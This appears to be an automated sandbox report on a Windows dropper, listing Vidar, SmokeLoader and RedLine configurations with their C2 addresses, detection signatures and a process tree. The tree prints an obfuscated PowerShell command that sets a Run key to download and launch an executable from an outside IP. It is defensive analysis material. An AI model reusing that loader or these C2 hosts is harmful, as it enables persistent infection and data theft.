Analysis

  • max time kernel
    21s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11/08/2021, 10:41

General

  • Target
    0b75632bf041cac607b9a3043843c757.exe
  • Size 4.3MB
  • Sample210811-st4m68aces
  • SHA256 44d025d67d73ae1215ba9483971bc5205afd91ef92cb2aed8410ab70e316e53e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • vidar

Version
  • 39.9

Botnet
  • 706

C2
  • https://prophefliloc.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://aucmoney.com/upload/

  • http://thegymmum.com/upload/

  • http://atvcampingtrips.com/upload/

  • http://kuapakualaman.com/upload/

  • http://renatazarazua.com/upload/

  • http://nasufmutlu.com/upload/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • installs

C2
  • 178.32.202.118:43127

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 13 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Vidar Stealer 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 42 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0b75632bf041cac607b9a3043843c757.exe
    "C:\Users\Admin\AppData\Local\Temp\0b75632bf041cac607b9a3043843c757.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1920
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c 268b3127b936e01.exe
        3⤵
        • Loads dropped DLL
        PID:1652
        • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\268b3127b936e01.exe
          268b3127b936e01.exe
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          PID:556
          • C:\Users\Admin\Documents\twMVI78be_Y4mjqhaWlCEPbj.exe
            "C:\Users\Admin\Documents\twMVI78be_Y4mjqhaWlCEPbj.exe"
            5⤵
              PID:2708
              • C:\ProgramData\Runtimebroker.exe
                "C:\ProgramData\Runtimebroker.exe"
                6⤵
                  PID:2904
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.2''+''41''+''.19.5''+''2/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
                    7⤵
                      PID:2232
                • C:\Users\Admin\Documents\8oGrJnEdOMuWglRQnGOxpRBe.exe
                  "C:\Users\Admin\Documents\8oGrJnEdOMuWglRQnGOxpRBe.exe"
                  5⤵
                    PID:2700
                  • C:\Users\Admin\Documents\hyY5EuzmFa5loL283C5TAytk.exe
                    "C:\Users\Admin\Documents\hyY5EuzmFa5loL283C5TAytk.exe"
                    5⤵
                      PID:2692
                    • C:\Users\Admin\Documents\fT3JOUDM846j4n8j9o9D9gqH.exe
                      "C:\Users\Admin\Documents\fT3JOUDM846j4n8j9o9D9gqH.exe"
                      5⤵
                        PID:2680
                      • C:\Users\Admin\Documents\lj2bspJM2xvMXrFeLXJ_Ch4V.exe
                        "C:\Users\Admin\Documents\lj2bspJM2xvMXrFeLXJ_Ch4V.exe"
                        5⤵
                          PID:2672
                        • C:\Users\Admin\Documents\tPSQ1SRNir_QG83k1x_sDMV6.exe
                          "C:\Users\Admin\Documents\tPSQ1SRNir_QG83k1x_sDMV6.exe"
                          5⤵
                            PID:2940
                          • C:\Users\Admin\Documents\lo1f9plfRtSuR5x0Leqc4_jK.exe
                            "C:\Users\Admin\Documents\lo1f9plfRtSuR5x0Leqc4_jK.exe"
                            5⤵
                              PID:2920
                            • C:\Users\Admin\Documents\98ZB9leTHbhceczY0ttUW3d6.exe
                              "C:\Users\Admin\Documents\98ZB9leTHbhceczY0ttUW3d6.exe"
                              5⤵
                                PID:2860
                              • C:\Users\Admin\Documents\zAMQKk81ea4f3OR8vkvAtKT2.exe
                                "C:\Users\Admin\Documents\zAMQKk81ea4f3OR8vkvAtKT2.exe"
                                5⤵
                                  PID:2776
                                • C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe
                                  "C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe"
                                  5⤵
                                    PID:3056
                                    • C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe
                                      "C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe" -q
                                      6⤵
                                        PID:2280
                                    • C:\Users\Admin\Documents\IeDRRlElIChbZv_6RA7hHhQI.exe
                                      "C:\Users\Admin\Documents\IeDRRlElIChbZv_6RA7hHhQI.exe"
                                      5⤵
                                        PID:3044
                                      • C:\Users\Admin\Documents\Jxkzeq_FJ8u1IniO4LoWFfa5.exe
                                        "C:\Users\Admin\Documents\Jxkzeq_FJ8u1IniO4LoWFfa5.exe"
                                        5⤵
                                          PID:3004
                                        • C:\Users\Admin\Documents\fwUQ9MJVTGgdxZZHqHRPeKHQ.exe
                                          "C:\Users\Admin\Documents\fwUQ9MJVTGgdxZZHqHRPeKHQ.exe"
                                          5⤵
                                            PID:2988
                                          • C:\Users\Admin\Documents\WIpWyS6pn_3qfIE_vitYep2F.exe
                                            "C:\Users\Admin\Documents\WIpWyS6pn_3qfIE_vitYep2F.exe"
                                            5⤵
                                              PID:1928
                                            • C:\Users\Admin\Documents\ZFJ28c7SdDnUeaT2eoLm4Evt.exe
                                              "C:\Users\Admin\Documents\ZFJ28c7SdDnUeaT2eoLm4Evt.exe"
                                              5⤵
                                                PID:804
                                              • C:\Users\Admin\Documents\NpSVr4vAERsRtYJMfcpP46oW.exe
                                                "C:\Users\Admin\Documents\NpSVr4vAERsRtYJMfcpP46oW.exe"
                                                5⤵
                                                  PID:920
                                                • C:\Users\Admin\Documents\IwVYKvXl1NTjw0AONNvyjb_I.exe
                                                  "C:\Users\Admin\Documents\IwVYKvXl1NTjw0AONNvyjb_I.exe"
                                                  5⤵
                                                    PID:1196
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c 21bcc8456d82.exe
                                                3⤵
                                                • Loads dropped DLL
                                                • Suspicious use of WriteProcessMemory
                                                PID:1848
                                                • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\21bcc8456d82.exe
                                                  21bcc8456d82.exe
                                                  4⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  PID:1352
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c 5298ab674.exe
                                                3⤵
                                                • Loads dropped DLL
                                                PID:1780
                                                • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\5298ab674.exe
                                                  5298ab674.exe
                                                  4⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  • Modifies system certificate store
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1604
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                    5⤵
                                                      PID:2344
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c 4a448bcddaa0b3.exe
                                                  3⤵
                                                  • Loads dropped DLL
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:1600
                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\4a448bcddaa0b3.exe
                                                    4a448bcddaa0b3.exe
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:1648
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c 0fd5c77ed90f39d5.exe
                                                  3⤵
                                                  • Loads dropped DLL
                                                  PID:1692
                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\0fd5c77ed90f39d5.exe
                                                    0fd5c77ed90f39d5.exe
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:784
                                                    • C:\Users\Admin\AppData\Roaming\1503622.exe
                                                      "C:\Users\Admin\AppData\Roaming\1503622.exe"
                                                      5⤵
                                                        PID:2580
                                                      • C:\Users\Admin\AppData\Roaming\1597459.exe
                                                        "C:\Users\Admin\AppData\Roaming\1597459.exe"
                                                        5⤵
                                                          PID:2896
                                                        • C:\Users\Admin\AppData\Roaming\1834205.exe
                                                          "C:\Users\Admin\AppData\Roaming\1834205.exe"
                                                          5⤵
                                                            PID:1584
                                                          • C:\Users\Admin\AppData\Roaming\6522396.exe
                                                            "C:\Users\Admin\AppData\Roaming\6522396.exe"
                                                            5⤵
                                                              PID:2588
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c 8e14eeece3767.exe
                                                          3⤵
                                                          • Loads dropped DLL
                                                          PID:860
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\8e14eeece3767.exe
                                                            8e14eeece3767.exe
                                                            4⤵
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            PID:1156
                                                            • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              PID:1852
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c 28e2ddd2eed6.exe
                                                          3⤵
                                                          • Loads dropped DLL
                                                          PID:1256
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\28e2ddd2eed6.exe
                                                            28e2ddd2eed6.exe
                                                            4⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:1540
                                                            • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:2464
                                                            • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                              5⤵
                                                                PID:2540
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c b28b347be25f8ab8.exe
                                                            3⤵
                                                              PID:1240
                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\b28b347be25f8ab8.exe
                                                                b28b347be25f8ab8.exe
                                                                4⤵
                                                                  PID:2624
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c 268b3127b936e0010.exe
                                                                3⤵
                                                                • Loads dropped DLL
                                                                PID:1924
                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\268b3127b936e0010.exe
                                                                  268b3127b936e0010.exe
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Checks SCSI registry key(s)
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious behavior: MapViewOfSection
                                                                  PID:1904
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c 4aa1e8b379159.exe
                                                                3⤵
                                                                • Loads dropped DLL
                                                                PID:1804
                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\4aa1e8b379159.exe
                                                                  4aa1e8b379159.exe
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  PID:1856
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 984
                                                                    5⤵
                                                                    • Program crash
                                                                    PID:2396
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\21bcc8456d82.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\21bcc8456d82.exe" -a
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:1484
                                                          • C:\Windows\system32\rundll32.exe
                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                            1⤵
                                                            • Process spawned unexpected child process
                                                            PID:1848
                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                              2⤵
                                                                PID:976

                                                            Network

                                                                  MITRE ATT&CK Enterprise v6

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  memory/784-183-0x000000001B070000-0x000000001B072000-memory.dmp

                                                                  memory/784-175-0x00000000003F0000-0x000000000040B000-memory.dmp

                                                                  memory/784-146-0x0000000001160000-0x0000000001161000-memory.dmp

                                                                  memory/784-179-0x0000000000410000-0x0000000000411000-memory.dmp

                                                                  memory/784-169-0x00000000003E0000-0x00000000003E1000-memory.dmp

                                                                  memory/1156-133-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

                                                                  memory/1200-199-0x00000000039D0000-0x00000000039E6000-memory.dmp

                                                                  memory/1540-185-0x00000000008C0000-0x00000000008C1000-memory.dmp

                                                                  memory/1648-128-0x0000000000370000-0x0000000000371000-memory.dmp

                                                                  memory/1712-59-0x0000000075051000-0x0000000075053000-memory.dmp

                                                                  memory/1852-194-0x0000000004A70000-0x0000000004A71000-memory.dmp

                                                                  memory/1852-187-0x0000000000080000-0x0000000000081000-memory.dmp

                                                                  memory/1856-182-0x0000000003370000-0x0000000005C39000-memory.dmp

                                                                  memory/1856-184-0x0000000000400000-0x0000000002CC9000-memory.dmp

                                                                  memory/1904-189-0x0000000000250000-0x0000000000259000-memory.dmp

                                                                  memory/1904-190-0x0000000000400000-0x0000000002C6D000-memory.dmp

                                                                  memory/1920-87-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                  memory/1920-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                  memory/1920-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                  memory/1920-81-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                  memory/1920-86-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                  memory/1920-83-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                  memory/1920-80-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                  memory/1920-82-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                  memory/1920-89-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                  memory/1920-85-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                  memory/2464-192-0x000000013F810000-0x000000013F811000-memory.dmp

                                                                  memory/2464-233-0x0000000000950000-0x000000000095A000-memory.dmp

                                                                  memory/2580-216-0x00000000001C0000-0x00000000001F4000-memory.dmp

                                                                  memory/2580-236-0x0000000000160000-0x0000000000161000-memory.dmp

                                                                  memory/2580-200-0x0000000000150000-0x0000000000151000-memory.dmp

                                                                  memory/2580-196-0x0000000000170000-0x0000000000171000-memory.dmp

                                                                  memory/2680-248-0x0000000000410000-0x0000000000429000-memory.dmp

                                                                  memory/2680-208-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

                                                                  memory/2692-209-0x0000000000240000-0x0000000000249000-memory.dmp

                                                                  memory/2708-210-0x00000000003C0000-0x00000000003F9000-memory.dmp

                                                                  memory/2896-246-0x00000000011A0000-0x00000000011A1000-memory.dmp

                                                                  memory/2940-222-0x00000000013C0000-0x00000000013C1000-memory.dmp

                                                                  memory/3044-234-0x0000000000C30000-0x0000000000C31000-memory.dmp